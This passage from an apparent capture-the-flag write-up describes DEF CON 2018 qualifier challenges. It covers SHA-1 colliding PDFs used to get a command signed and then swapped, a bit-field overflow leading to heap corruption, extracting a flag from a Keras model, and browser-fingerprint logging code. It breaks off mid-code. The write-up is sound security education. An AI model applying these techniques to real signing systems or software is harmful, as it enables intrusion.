&lt;p&gt;My teammate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fstenv&lt;/code&gt; found the &lt;a href=&quot;https://alf.nu/SHA1&quot;&gt;https://alf.nu/SHA1&lt;/a&gt; website for generating colliding PDFs, and I quickly opened Pixelmator and drew up one JPEG that said &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECHO hi&lt;/code&gt; in big Arial font and another that said &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXECUTE cat flag&lt;/code&gt;. I ran it through the service and it spit out two PDFs with identical hashes. I then went through signing the echo one and executing the cat one and got the flag!&lt;/p&gt;

&lt;h2 id=&quot;its-a-me&quot;&gt;It’s-a Me&lt;/h2&gt;

&lt;p&gt;This challenge involved a binary that presented text-based menus for a pizza restaurant. A bunch of us opened up the binary in Binary Ninja and IDA and used &lt;a href=&quot;https://github.com/lunixbochs/revsync&quot;&gt;revsync&lt;/a&gt; to collaborate on naming symbols.&lt;/p&gt;

&lt;p&gt;We found that it looked for emojis like tomato, pineapple and chicken as the pizza ingredients. If you ordered the Pineapple emoji as an ingredient, it yelled and banned you. We found other pineapple-related code at the cooking stage, so we needed to figure out how to get there without getting banned. Soon &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; figured out the cooking stage concatted the ingredients, so we could split the emoji’s UTF-8 over 2 ingredients to get it through.&lt;/p&gt;

&lt;p&gt;Then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; found a code path that could write to a buffer before and after it being &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;free&lt;/code&gt;‘d, which could be the start of a heap corruption exploit. To get to that path we needed to make it think our pineapple pizzas were all an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ApprovedPizza&lt;/code&gt; instead of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CriminalPizza&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So we found some bit field logic and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; figured out that you could overflow the 4 bit fields and make it think all the pizzas were approved by cooking 16 pineapple pizzas and 1 tomato pizza. That let us corrupt the heap and get a segfault. Then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kileak&lt;/code&gt; developed an exploit which he wrote up &lt;a href=&quot;https://kileak.github.io/ctf/2018/defconquals18-itsame/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;flagsifier&quot;&gt;Flagsifier&lt;/h2&gt;

&lt;p&gt;This one was tricky, it took me 4 hours of fiddling around in a &lt;a href=&quot;https://gist.github.com/trishume/99a161c5c3653c08edfbf9e1cd6d27a5&quot;&gt;Juypter Notebook&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We were given a Keras convnet image classifer model, some sample images showing 38 MNIST-like letters spelling random words glommed together, and the name “Flagsifier”. This suggested that the challenge was to extract an image of the flag from the model trained to recognize the flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/dcquals18/flagsifier_sample.png&quot; alt=&quot;Flagsifier Sample Inpuw&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First I Googled “MNIST letters” and found the EMNIST dataset, which I suspected is what the samples and training data was made with. Next, I had two possible avenues of extraction:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Use something like Deep Dream to optimize an image for flag-ness: this would take a reasonable amount of effort to implement and might work straightforwardly, but ran the risk of outputting blurry or otherwise unreadable images.&lt;/li&gt;
  &lt;li&gt;Use the letters in the EMNIST dataset to optimize a flag string for flag-ness character by character. This would definitely give a readable result, but I wasn’t sure if just hill-climbing a character at a time would reach the flag properly, since the final dense layer could theoretically learn not to activate basically at all until all the characters are right.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I figured that the second approach had a better effort to expected reward tradeoff and started work. First I set up the data loading code for the EMNIST dataset and extracted only the capital letters (the samples were all uppercase). Then I extracted the first letter from a sample and searched the dataset for it, confirming that the letters were from EMNIST. Later I figured out based on the “L”s in the samples that I needed to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ByMerge&lt;/code&gt; version rather than the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ByClass&lt;/code&gt; version and switched it.&lt;/p&gt;

&lt;p&gt;Next I wrote a function that took a 38-character string and generated an image with random instances of each letter so that I could run things through the network. I needed to figure out which of the 40 class outputs was flag-ness, without having the flag.&lt;/p&gt;

&lt;p&gt;The examples I had run through so far had all output &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.0&lt;/code&gt; for one class and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.0&lt;/code&gt; for others, I figured first I needed more resolution to pick up on hints of flag-ness. To get this I needed to remove the final softmax layer. Unfortunately Keras compiled the model using settings only available inside the load command, so it wasn’t easy to modify it after loading. I took the easy/clever/hacky/fastest way out and opened the model in a hex editor, found the JSON model description inside and changed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;softmax&quot;,&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;linear&quot; ,&lt;/code&gt; with the space to maintain the length. This gave me a much higher resolution signal to look at and optimize.&lt;/p&gt;

&lt;p&gt;I knew that all flags started with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OOO&lt;/code&gt; so I composed an image with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OOO&lt;/code&gt; and then blank space, and saw that channel 2 (zero-indexed) had the highest activation.&lt;/p&gt;

&lt;p&gt;I started by looping through each character for each position starting from the beginning and filling it with the character that had the highest activation, using my same generator that picked random instances. This gave garbage results, so I made it average the activations of 20 samples for each character and it correctly picked up the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OOO&lt;/code&gt; and then a bunch of random-seeming characters.&lt;/p&gt;

&lt;p&gt;I rewrote my generator and optimizer to pick 30 random versions of each letter for each position and choose the best letter instance for each slot. Then I rewrote it again so it could start from a given string instead of an empty blank canvas. Then I re-ran the optimizer again starting with my last result and it tuned in each character with context.&lt;/p&gt;

&lt;p&gt;This gave me &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OOOSOMGAUTHKNTICIWTTILIGCWCCISRTQUIVCT&lt;/code&gt;. That looked like the first part might be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OOOSOMEAUTHENTIC&lt;/code&gt;, it was getting somewhere! So I posted it to the Samurai Slack channel. I was somewhat tapped out of ideas and my teammate wanted to try Deep Dream, so I tried a bit harder to get the best guess of a starting point for Deep Dream to optimize. I noted that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ByMerge&lt;/code&gt; dataset meant &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;L&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;I&lt;/code&gt; were nearly indistinguishable, and given that and the context of an AI challenge it probably continued &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OOOSOMEAUTHENTICINTELLIGENCEIS&lt;/code&gt;. I couldn’t decipher the last bit though so I prepared to wait for the deep dream results.&lt;/p&gt;

&lt;p&gt;Then I got a Slack ping that the challenge had been solved, my teammate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shane&lt;/code&gt; figured out that the last bit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RTQUIVCT&lt;/code&gt; must be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;REQUIRED&lt;/code&gt;! We had managed to turn the garbled mess into the full flag.&lt;/p&gt;

&lt;h2 id=&quot;geckome&quot;&gt;Geckome&lt;/h2&gt;

&lt;p&gt;In this challenge there was a page with Javascript that collected a bunch of info from the browser, put it all in a string, hashed it, and if it had the correct hash, passed it off to a PHP file that would give you the flag given the string.&lt;/p&gt;

&lt;p&gt;We started by looking at the various Javascript, CSS and HTML features used on the page and tabulating which versions of which browsers could possibly have that combination of features, and came up with this table:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Thing           Firefox Chrome  Opera   Safari
onbeforeprint   &amp;lt;6      &amp;lt;63     &amp;lt;50     any
DataView        &amp;gt;=15    &amp;gt;=9     &amp;gt;=12.1  &amp;gt;=5.1
webkit anim     X       &amp;gt;=4     &amp;gt;=15    &amp;gt;=4
SubtleCrypto    &amp;gt;=34    &amp;gt;=37    &amp;gt;=24    &amp;gt;=11
link prerender  X       &amp;gt;=13    &amp;gt;=15    X
video tag       &amp;gt;=20    &amp;gt;=4     &amp;gt;=11.5  &amp;gt;=4
ping attr       X       &amp;gt;=15    &amp;gt;=15    &amp;gt;=6

The version expressions for onbeforeprint are
the browsers that don&apos;t support it, as suggested.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This didn’t do much except rule out Firefox and Safari. We could also probably rule out Opera because it’s rare, and the challenge was named “Geckome” which had “ome” from Chrome, but nothing from Opera. But there were still too many Chrome versions.&lt;/p&gt;

&lt;p&gt;I modified the script to put all the important values to hash on the screen so that we could easily look at the results in different browsers:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;pre&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;log&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;thing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;thing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;online&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vendor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;vendor&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vendor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mimeTypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mimes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mimeTypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;navlen&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;winlen&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// hash&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;str2ab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 2 bytes for each char&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;bufView&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Uint16Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;strLen&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;strLen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;bufView&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;charCodeAt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// We transform the string into an arraybuffer.&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;str2ab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;crypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;subtle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;SHA-256&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hexCodes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;DataView&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;byteLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span 